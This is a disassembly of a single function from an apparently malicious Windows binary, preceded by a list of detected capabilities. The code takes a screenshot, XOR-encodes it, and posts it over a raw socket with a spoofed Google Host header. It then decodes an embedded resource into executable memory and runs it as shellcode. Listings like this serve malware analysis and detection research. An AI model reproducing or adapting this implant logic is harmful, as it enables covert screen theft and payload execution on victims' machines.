Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Capture screenshot
Connect socket
Convert ip address from string
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x298]
sub rsp, 0x370
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
mov rax, qword [0x140022040]
xor rax, rsp
mov qword [rbp + 0x220], rax
movsd xmm0, qword [str.127.0.0.1]
xor ecx, ecx
movaps xmm1, xmmword [0x14001f560]
movzx eax, word [0x14001f540]
movsd qword [rbp + 0x190], xmm0
movaps xmm0, xmmword [str.POST___HTTP_1.1_r_nHost:_www.google.com.hk_r_nContent_Type:_application_octet_stream_r_nConnection:_close_r_nContent_Length:]
movaps xmmword [rbp + 0x1a0], xmm0
movaps xmm0, xmmword [0x14001f570]
movaps xmmword [rbp + 0x1c0], xmm0
movaps xmm0, xmmword [0x14001f590]
movaps xmmword [rbp + 0x1b0], xmm1
movaps xmm1, xmmword [0x14001f580]
mov word [rbp + 0x198], ax
mov eax, dword [0x14001f5c0]
movaps xmmword [rbp + 0x1e0], xmm0
movaps xmm0, xmmword [0x14001f5b0]
movaps xmmword [rbp + 0x1d0], xmm1
movaps xmm1, xmmword [0x14001f5a0]
mov dword [rbp + 0x210], eax
movzx eax, word [0x14001f5c4]
movaps xmmword [rbp + 0x200], xmm0
movaps xmmword [rbp + 0x1f0], xmm1
mov word [rbp + 0x214], ax
call fcn.140007dd0
mov rcx, rax
call fcn.140007db8
call fcn.140007d8c
mov r9d, eax
lea r8, [0x14001f518]
mov eax, 0x6b5fca6b
lea rcx, [rbp + 0x180]
imul r9d
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x989680
mov edx, 0xa
sub r9d, eax
call fcn.140001010
movzx eax, word [0x14001f5c8]
xor ebx, ebx
mov word [rbp - 0x68], ax
mov r13b, 2
movzx eax, byte [0x14001f5ca]
mov rcx, 0xffffffffffffffff
mov byte [rbp - 0x66], al
lea rax, [rbp - 0x68]
mov qword [rsp + 0x60], rbx
inc rcx
cmp byte [rax + rcx], bl
jne 0x1400011c7
lea rdx, [rbp + 0x180]
mov rax, 0xffffffffffffffff
nop dword [rax]
inc rax
cmp byte [rdx + rax], bl
jne 0x1400011e0
movsd xmm7, qword [0x14001f600]
add eax, 5
movsd xmm6, qword [0x14001f5e8]
add eax, ecx
movsd xmm8, qword [0x14001f5f0]
movsd xmm9, qword [0x14001f5f8]
movsxd r15, eax
mov qword [rsp + 0x68], r15
mov dword [rsp + 0x54], eax
nop dword [rax + rax]
call fcn.140007d8c
movd xmm0, eax
cvtdq2pd xmm0, xmm0
divsd xmm0, xmm7
mulsd xmm0, xmm6
addsd xmm0, xmm0
subsd xmm0, xmm6
addsd xmm0, xmm8
mulsd xmm0, xmm9
cvttsd2si rcx, xmm0
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp r13b, 2
jne 0x1400013ba
mov rcx, rbx
call fcn.140007d78
call qword [sym.imp.USER32.dll_SetProcessDPIAware]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetDC]
mov rcx, rax
mov edx, 8
mov r15, rax
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edx, 0xa
mov rcx, r15
mov edi, eax
call qword [sym.imp.GDI32.dll_GetDeviceCaps]
mov edx, edi
mov rcx, r15
mov r8d, eax
mov ebx, eax
call qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov rcx, r15
mov r14, rax
call qword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov rcx, rax
mov rdx, r14
mov rsi, rax
call qword [sym.imp.GDI32.dll_SelectObject]
mov dword [rsp + 0x40], 0xcc0020
xor r13d, r13d
mov dword [rsp + 0x38], r13d
mov r9d, edi
mov dword [rsp + 0x30], r13d
xor r8d, r8d
mov qword [rsp + 0x28], r15
xor edx, edx
mov rcx, rsi
mov dword [rsp + 0x20], ebx
call qword [sym.imp.GDI32.dll_BitBlt]
lea r8, [rbp - 0x50]
mov rcx, r14
lea edx, [r13 + 0x20]
call qword [sym.imp.GDI32.dll_GetObjectW]
mov ecx, dword [rbp - 0x4c]
mov eax, dword [rbp - 0x48]
neg eax
mov dword [rsp + 0x74], ecx
shl ecx, 5
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x70], 0x28
mov qword [rsp + 0x7c], 0x200001
lea eax, [rcx + 0x1f]
mov qword [rbp - 0x7c], r13
cdq
mov qword [rbp - 0x74], r13
and edx, 0x1f
mov dword [rbp - 0x6c], r13d
lea ebx, [rdx + rax]
sar ebx, 5
imul ebx, dword [rbp - 0x48]
shl ebx, 2
lea r12d, [rbx + 0x36]
movsxd rcx, r12d
mov dword [rsp + 0x50], r12d
call fcn.140007d70
mov edx, ebx
mov qword [rsp + 0x60], rax
mov rcx, r14
mov word [rax], 0x4d42
lea r8, [rax + 0x36]
mov dword [rax + 2], r12d
mov dword [rax + 6], r13d
mov dword [rax + 0xa], 0x36
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rbp - 0x80]
movups xmmword [rax + 0xe], xmm0
movsd xmm0, qword [rbp - 0x70]
movups xmmword [rax + 0x1e], xmm1
movsd qword [rax + 0x2e], xmm0
call qword [sym.imp.GDI32.dll_GetBitmapBits]
mov rcx, r14
call qword [sym.imp.GDI32.dll_DeleteObject]
mov rcx, rsi
call qword [sym.imp.GDI32.dll_DeleteDC]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_ReleaseDC]
mov r15, qword [rsp + 0x68]
jmp 0x1400013c2
mov r12d, dword [rsp + 0x50]
xor r13d, r13d
mov eax, dword [rsp + 0x54]
add eax, r12d
movsxd rbx, eax
lea r14d, [rax + 1]
lea rdi, [rbx + 1]
mov rcx, rdi
call fcn.140007d70
mov dword [rsp + 0x40], 0xff
lea r9, [rbp + 0x180]
mov rsi, rax
mov dword [rsp + 0x38], 0xff
mov qword [rsp + 0x30], r13
lea r8, str._s_c_s_c_c_c
mov byte [rax], 0
mov rdx, r15
lea rax, [rbp - 0x68]
mov rcx, rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
call fcn.140001010
mov rdx, qword [rsp + 0x60]
lea rcx, [r15 + rsi]
movsxd r8, r12d
call fcn.140015e00
call fcn.140007d8c
mov r8d, eax
mov eax, 0x66666667
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*4]
add ecx, ecx
sub r8d, ecx
mov byte [rdi + rsi - 1], r8b
test rbx, rbx
jle 0x140001471
mov rcx, rsi
nop
movzx eax, byte [rdi + rsi - 1]
xor byte [rcx], al
lea rcx, [rcx + 1]
sub rbx, 1
jne 0x140001460
xor eax, eax
lea r8, [0x14001f518]
xor r12b, r12b
mov qword [rbp + 0x171], rax
xor r15b, r15b
mov byte [rbp + 0x170], r12b
mov r9d, r14d
mov byte [rbp + 0x179], al
lea edx, [rax + 0xa]
mov r13b, 3
lea rcx, [rbp + 0x170]
call fcn.140001010
lea rax, [rbp + 0x170]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], r12b
jne 0x1400014b7
lea rdx, [rbp + 0x1a0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rdx + rax], r12b
jne 0x1400014d0
add ecx, 4
add eax, r14d
add eax, ecx
movsxd rbx, eax
mov rcx, rbx
mov dword [rsp + 0x58], eax
call fcn.140007d70
mov r14, rax
lea r9, [rbp + 0x1a0]
lea rax, [rbp + 0x170]
mov rcx, r14
lea r8, str._s_s_r_n_r_n
mov qword [rsp + 0x20], rax
mov rdx, rbx
call fcn.140001010
sub rbx, rdi
mov r8, rdi
mov rdx, rsi
lea rcx, [r14 + rbx]
call fcn.140015e00
mov ecx, 0x202
lea rdx, [rbp - 0x30]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x1400016dd
mov edi, 2
lea edx, [rax + 1]
mov ecx, edi
xor r8d, r8d
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140001568
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400016dd
mov ecx, 0x4d2
mov word [rbp - 0x60], di
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rbp - 0x5c]
mov ecx, edi
lea rdx, [rbp + 0x190]
mov word [rbp - 0x5e], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov rcx, rbx
test eax, eax
jne 0x1400015a6
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400016dd
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rbp - 0x60]
call qword [sym.imp.WS2_32.dll_connect]
mov rcx, rbx
test eax, eax
je 0x1400015ce
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400016dd
mov r8d, dword [rsp + 0x58]
xor r9d, r9d
mov rdx, r14
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1400015f8
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x1400016dd
mov rcx, r14
call fcn.140007d78
mov ecx, 0x12c
call fcn.140007d70
xor r9d, r9d
mov r8d, 0x12c
mov rdx, rax
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x14000164d
lea rdx, str._r_n_r_n
mov rcx, rdi
call fcn.140002420
mov rcx, rdi
movzx r13d, byte [rax + 4]
movzx r15d, byte [rax + 5]
movzx r12d, byte [rax + 6]
call fcn.140007d78
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
call qword [sym.imp.WS2_32.dll_WSACleanup]
test r13b, r13b
je 0x1400016f4
cmp r13b, 1
jne 0x1400016dd
lea r8, [0x14001f5e0]
mov edx, 0x65
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rdx, rbx
xor ecx, ecx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, edi
xor ecx, ecx
mov r14, rax
mov ebx, edi
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
test edi, edi
je 0x1400016d8
mov rdx, rax
sub r14, rax
nop
movzx ecx, r12b
xor cl, byte [rdx + r14]
lea rdx, [rdx + 1]
xor cl, r15b
mov byte [rdx - 1], cl
sub rbx, 1
jne 0x1400016c0
mov rcx, rax
call rax
mov rcx, rsi
call fcn.140007d78
mov r15, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x60]
jmp 0x140001220
xor eax, eax
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.1400019c0
lea r11, [rsp + 0x370]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret